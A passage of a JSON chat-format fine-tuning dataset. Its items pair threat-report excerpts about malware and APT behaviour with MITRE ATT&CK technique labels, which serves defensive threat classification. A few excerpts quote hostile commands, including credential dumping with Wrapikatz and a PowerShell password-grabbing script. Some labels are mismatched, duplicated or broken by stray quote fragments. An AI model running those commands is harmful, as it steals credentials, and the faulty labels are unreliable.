                "content": "This blog details the markers of this campaign, including macro content, campaign flow and phishing themes of our identified variants and older variants that have been attributed to Lazarus by other vendors. The Qualys Research Team recently identified a new Lazarus campaign using employment phishing lures targeting the defence sector. This is thematically similar to other observed variants where Lazarus has posed as defence companies like Northrop Grumman and BAE Systems with job openings. LockHeed Recruitment Lure . The macro uses aliases to rename the APIs that it uses (fig. 5). Other variants have used the UuidFromStringA function to decode the embedded payload and write it to an executable Heap. Lazarus has also used other novel methods to execute shellcode such as by using the function EnumSystemLocalesA as a callback to shellcode written to executable heap. 8). shellObj is the Wscript.Shell object that the vbs file uses to execute the beacon command. Additional vendors have also identified a variant that uses pcalua.exe. Additional vendors have reported on the current campaign while attributing it to Lazarus. Lazarus continues to evolve its capabilities by utilizing lesser-known shellcode execution techniques and incorporating various lolbins as part of its campaign"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses reflective DLL injection to inject the malicious library and execute the RAT."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bundlore creates a new key pair with \"ssh-keygen\" and drops the newly created user key in \"authorized_keys\" to enable remote login."
            },
            {
                "role": "assistant",
                "content": "T1098.004 - SSH Authorized Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Creates a new registry key HKCU\\Software\\Classes\\Folder\\shell\\open\\command - Sets the “Default” value to “path of the malware” - Creates a value “DelegateExecute” and sets the value to “0” - Executes %systemDirectory%sdclt.exe to bypass the UAC as shown below (figure 7"
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ngrok can provide DGA for C2 servers through the use of random URL strings that change every 12 hours."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The  dropper has masqueraded a copy of the infected system's rundll32.exe executable that was moved to the malware's install directory and renamed according to a predefined configuration file."
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of downloading remote files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SA  Generates the following IRC client command that will be sent to the C2 server: PRIVMSG <username> : Hello ,my name is  <IRC USER name>, Im ready my Computer Name is:<computer name>    All of the commands, except for the VER command, must be issued by individuals in the IRC channel with nicknames that start with “AS_” or “AF_”"
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery', 'T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In the old campaign the actor used TextBoxes to store its data while in the new one the content has been base64 encoded within the document content. In the new campaign JavaScript files have been used to execute batch and PowerShell files. The new campaign uses Powershell and URLMON API calls to download the cab file while in the old campaign it used certutil to download the cab file. The new campaign has used two different UAC bypass techniques based on the victim’s OS while in the old one the actor only used the Token Impersonation technique. In the new campaign the actor has developed a new variant of Konni RAT that is heavily obfuscated. It also does not use FTP for exfiltration"
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To capture login credentials from all the previously listed websites, Javali monitors processes to find open browsers or custom banking applications. The most common web browsers thus monitored are Mozilla Firefox, Google Chrome, Internet Explorer and Microsoft Edge"
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery', 'T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Derusbi is capable of obtaining directory, file, and drive listings."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Initial access via a phishing email that linked to a google docs page that enticed the user to download a report, which was a Bazar Loader executable file instead Report-Review20-10.exe"
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TajMahal has the ability to identify the Internet Explorer (IE) version on an infected host."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CosmicDuke searches attached and mounted drives for file extensions and keywords that match a predefined list."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "DownPaper uses the command line."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kazuar gathers information about network adapters."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak can use a .NET compiled module named exchgrabber to enumerate credentials from the Credential Manager."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShadowPad uses a DGA that is based on the day of the month for C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APIs and strings in some  variants are RC4 encrypted. Another variant is encoded with XOR."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ramsay has used base64 to encode its C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Saint Bot has relied upon users to execute a malicious attachment delivered via spearphishing."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A  file stealer can gather the victim's username to send to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chinese state-sponsored cyber actors have been observed executing malware shellcode and batch files to establish new services to enable persistence"
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Viewing results Commands scheduled with at run as background processes. Output is not displayed on the computer screen. To redirect output to a file, use the redirection symbol (&gt;). If you redirect output to a file, you need to use the escape symbol (^) before the redirection symbol, whether you are using at at the command line or in a batch file. For example, to redirect output to Output.text, type: at 14:45 c:\\test.bat ^&gt;c:\\output.txt The current directory for the executing command is the systemroot folder. Changing system time If you change the system time at a computer after you schedule a command to run with at, synchronize the at scheduler with the revised system time by typing at without command-line options. Storing commands Scheduled commands are stored in the registry. As a result, you do not lose scheduled tasks if you restart the Schedule service. Connecting to network drives Do not use a redirected drive for scheduled jobs that access the network. The Schedule service might not be able to access the redirected drive, or the redirected drive might not be present if a different user is logged on at the time the scheduled task runs. Instead, use UNC paths for scheduled jobs"
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pay2Key has sent its public key to the C2 server over TCP."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Clambling has the ability to communicate over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ShadowPad has decrypted a binary blob to start execution."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Make a unique filename. This useful utility is widely used by malware to make random, unique file and directory names for payloads. Despite the name, mktemp does not have to be used only in the /tmp directory"
            },
            {
                "role": "assistant",
                "content": "T1564 - Hide Artifacts', 'T1564 - Hide Artifacts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Goopy has the ability to  enumerate the infected system's user name via \"GetUserNameW\"."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group malware TangoDelta attempts to terminate various processes associated with McAfee. Additionally, Lazarus Group malware SHARPKNOT disables the Microsoft Windows System Event Notification and Alerter services.."
            },
            {
                "role": "assistant",
                "content": "T1562.001 - Impair Defenses: Disable or Modify Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During CostaRicto, the threat actors set up remote tunneling using an SSH tool to maintain access to a compromised environment."
            },
            {
                "role": "assistant",
                "content": "T1133 - External Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Helminth has used a scheduled task for persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can collect data from the system, and can monitor changes in specified directories."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MacSpy stores itself in \"~/Library/.DS_Stores/\""
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KeyBoy attempts to collect passwords from browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used AdFind to enumerate domain groups."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "NETEAGLE will attempt to detect if the infected host is configured to a proxy. If so, NETEAGLE will send beacons via an HTTP POST request; otherwise it will send beacons via UDP/6000."
            },
            {
                "role": "assistant",
                "content": "T1008 - Fallback Channels"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire can use Dropbox and GitHub for C2."
            },
            {
                "role": "assistant",
                "content": "T1102.002 - Bidirectional Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In one incident, the threat actor used the Wrapikatz tool (w.exe) with a usage statement that retrieves various passwords and Windows credentials from memory and compiles them in w.txt: c:\\programdata\\w.exe –w –l –c>>c:\\programdata\\w.txt In a separate incident, the threat actor used access provided by extensive web shell deployment to harvest account credentials:  2016-10-03T09:27:47   dir 2016-10-03T09:28:11   w64.log >ppp.log 2016-10-03T09:30:10     PowerShell.exe -ExecutionPolicy Bypass -File getpwd.ps1 >iistail.log  In another example, BRONZE UNION leveraged the Kekeo credential abuse tool to exploit CVE-2014-6324, a vulnerability in Microsoft's implementation of the Kerberos network authentication protocol"
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping', 'T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Earth Lusca has added the Registry key `HKLM\\SYSTEM\\ControlSet001\\Control\\Print\\Environments\\Windows x64\\Print Processors\\UDPrint” /v Driver /d “spool.dll /f` to load malware as a Print Processor."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SeaDuke is capable of uploading and downloading files."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Another difference in the network traffic generated from the malware is that the encoded proxy information has been added in the URL query values during the C2 communication. Table 4 shows the parameters sent to C2 server from the backdoor in the newer versions"
            },
            {
                "role": "assistant",
                "content": "T1090.002 - External Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, the threat actors renamed some tools and executables to appear as legitimate programs."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Turla has used legitimate web services including Pastebin, Dropbox, and GitHub for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistence: Creates a Windows RUN registry key for persistence. The name of the key is: \"Dropbox Update Setup\". This name was consistent in all the samples. This key points to the location of the Python-compiled binary in the %appdata% directory to ensure that it is started automatically each time the system is rebooted"
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor also collects some rudimentary information about the compromised computer including some basic network adapter information, system version information, and language settings"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery', 'T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BlackEnergy is capable of taking screenshots."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "BLINDINGCAN has attempted to hide its payload by using legitimate file names such as \"iconcache.db\"."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has used the legitimate mailing service Constant Contact to send phishing e-mails."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Additionally, the attackers used a genuine code-signing certificate issued to a Cyprus-based company called Hermetica Digital Ltd"
            },
            {
                "role": "assistant",
                "content": "T1553.002 - Code Signing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses AES to encrypt network communication."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During CostaRicto, the threat actors set up remote SSH tunneling into the victim's environment from a malicious domain."
            },
            {
                "role": "assistant",
                "content": "T1572 - Protocol Tunneling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some variants of the Zeroaccess Trojan have been known to store data in Extended Attributes."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used a variant of NanoCore RAT that communicates with its C2 server over port 6666."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KillDisk overwrites the first sector of the Master Boot Record with “0x00”."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Metamorfo has encrypted payloads and strings."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "may use net view /domain to display hostnames of available systems on a network."
            },
            {
                "role": "assistant",
                "content": "T1018 - Remote System Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used a scheduled task for persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "One of these domains, facebook-apps[.]com, was identified in one of the malware samples associated with this IP address"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Responder captures hashes and credentials that are sent to the system after the name services have been poisoned."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Since FoggyWeb runs in the context of the main AD FS process, it inherits the AD FS service account permissions required to access the AD FS configuration database. This contrasts with tools such as ADFSDump that must be executed under the user context of the AD FS service account"
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The information that the malware gets from the victim machine can be the user name, the machine name, the domain where the machine belongs or, if not, the workgroup, the product name (operating system name), etc"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery', 'T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ke3chang performs process discovery using \"tasklist\" commands."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Valak has used \"regsvr32.exe\" to launch malicious DLLs."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "First, several of these commands contain checks to determine the environment in order to use appropriate paths or commands. The ‘tasklist’ command will use a WMI query or the “ps” command, which allows Kazuar to obtain running processes from both Windows and Unix systems. Also, Kazuar’s ‘cmd’ command will run commands using “cmd.exe” for Windows systems and “/bin/bash” for Unix systems. These two commands provide evidence that the authors of Kazuar intended to use this malware as a cross-platform tool to target both Windows and Unix systems"
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "ZxShell has a command to open a file manager and explorer on the system."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "QAKBOT can use Regsvr32 to execute malicious DLLs"
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32', 'T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Flagpro has been delivered within ZIP or RAR password-protected archived files."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actors executed malicious payloads via loading shared modules. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths."
            },
            {
                "role": "assistant",
                "content": "T1129 - Server Software Component"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT32 modified Windows Services to ensure PowerShell scripts were loaded on the system. APT32 also creates a Windows service to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
